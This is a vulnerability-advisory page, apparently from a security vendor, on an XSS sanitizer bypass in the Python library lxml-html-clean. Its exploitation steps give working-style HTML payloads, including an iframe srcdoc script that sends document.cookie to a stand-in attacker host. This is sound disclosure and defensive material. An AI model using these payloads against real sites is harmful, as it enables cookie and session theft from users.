Visit the Wiz Whimzical Shop at AWS re:Invent
Vulnerability DatabaseCVE-2026-141556

CVE-2026-141556: 
Python vulnerability analysis and mitigation

Overview

CVE-2026-141556 is a Cross-Site Scripting (XSS) vulnerability in the lxml-html-clean Python library (package lxml_html_clean) that allows attacker-controlled JavaScript to bypass HTML sanitization under specific non-default configurations. Affecting all versions through 0.4.6, the flaw was disclosed on December 2, 2026, and fixed in version 0.4.7. It carries a CVSS v3.1 base score of 4.7 (Medium) (GitHub Advisory, Feedly).

Technical details

The root cause is an incomplete denylist (CWE-184) in the Cleaner class's JavaScript removal logic, which uses doc.rewrite_links() to strip javascript: URLs but only visits attributes enumerated in lxml.html.defs.link_attrs — missing two attribute categories. First, when safe_attrs_only=False and host_whitelist is set, the srcdoc attribute on <iframe> elements is not scrubbed; since srcdoc takes priority over src in browsers, an attacker can embed a full HTML document that executes without user interaction. Second, when remove_unknown_tags=False, SVG <set> and <animate> elements with attributeName="href" can use to, from, by, or values attributes to set a link's href to a javascript: URL at runtime, executing when clicked (CWE-79). The fix, introduced in commit 883db20, adds a new function _remove_attrs_that_bypass_link_cleaning() that explicitly deletes srcdoc from all elements and removes value attributes from SVG animation elements targeting href (GitHub Advisory, Fix Commit).

Impact

Successful exploitation enables stored or reflected XSS in applications that sanitize user-supplied HTML with safe_attrs_only=False and render the result to other users. The srcdoc variant executes JavaScript automatically on page load without any user interaction when host_whitelist is also configured (e.g., to allow video embeds), while the SVG animation variant requires a single click on the manipulated link. Consequences include session hijacking, credential theft, unauthorized actions performed on behalf of victims, and potential data exfiltration from the affected web application's origin (GitHub Advisory).

Exploitability

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the disclosure date. The vulnerability requires non-default Cleaner configuration (safe_attrs_only=False, plus either host_whitelist or remove_unknown_tags=False), which raises the bar for exploitation. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog (Feedly, GitHub Advisory).

Exploitation steps

  1. Identify a vulnerable target: Find a web application that uses lxml-html-clean ≤ 0.4.6 with Cleaner(safe_attrs_only=False) and either host_whitelist set (for the iframe vector) or remove_unknown_tags=False (for the SVG vector).
  2. Craft malicious HTML — iframe srcdoc vector: Submit HTML such as <iframe src="https://www.youtube.com/embed/x" srcdoc="<script>document.location='https://attacker.com/?c='+document.cookie</script>"> to a field that is sanitized and stored/reflected by the application.
  3. Craft malicious HTML — SVG animation vector: Alternatively, submit <svg><a><set attributeName="href" to="javascript:alert(document.cookie)"/></a>x</svg> to exploit the SVG animation bypass.
  4. Deliver to victim: Induce a victim user to view the page containing the sanitized (but still malicious) HTML output — the srcdoc payload fires automatically on load; the SVG payload fires on click.
  5. Achieve objective: The injected JavaScript executes in the victim's browser under the application's origin, enabling session token theft, credential harvesting, or further attacks (GitHub Advisory, Fix Commit).

Indicators of compromise

  • Logs: Application logs showing user-submitted HTML content containing srcdoc attributes on <iframe> elements, or SVG <set>/<animate> elements with attributeName="href" and to/from/by/values attributes containing javascript: URLs.
  • Network: Outbound requests from victim browsers to unexpected external domains shortly after loading pages with user-generated content (potential data exfiltration via XSS).
  • Application Behavior: Unexpected JavaScript execution reported by users on pages rendering sanitized HTML; browser console errors or alerts originating from user-content rendering areas.

Mitigation and workarounds

Upgrade lxml-html-clean to version 0.4.7, which introduces _remove_attrs_that_bypass_link_cleaning() to explicitly strip srcdoc and SVG animation value attributes during JavaScript cleaning (GitHub Release, Fix Commit). As a workaround for applications that cannot immediately upgrade, avoid using safe_attrs_only=False — the default Cleaner() configuration (with safe_attrs_only=True) is not affected because it removes srcdoc, to, and values attributes entirely. Additionally, avoid setting remove_unknown_tags=False unless strictly necessary, as this is required for the SVG animation attack vector (GitHub Advisory).

Community reactions

The vulnerability was reported by researcher gistrec and published as a GitHub Security Advisory (GHSA-5gvf-7wqf-r4cv) by maintainer frenzymadness on November 26, 2026, with the fix committed the same day. The advisory notes this shares the same root cause as a prior advisory (GHSA-4jhm-jv67-739f) involving xlink:href with safe_attrs_only=False, indicating a pattern of incomplete attribute coverage in the library's link-rewriting approach (GitHub Advisory).

Additional resources


Source: This report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-2vwr-58qv-f67xMEDIUM6.5
  • Python logoPython
  • aiortc
NoYesDec 02, 2026
GHSA-hvx6-xjcv-pww2MEDIUM6.5
  • Python logoPython
  • pika
NoYesDec 02, 2026
CVE-2026-141556MEDIUM4.7
  • Python logoPython
  • lxml-html-clean
NoYesDec 02, 2026
CVE-2026-141555MEDIUM4.7
  • Python logoPython
  • lxml-html-clean
NoYesDec 02, 2026
GHSA-xhqj-2fcc-8vf7LOW3.1
  • Python logoPython
  • ag2
NoYesDec 02, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management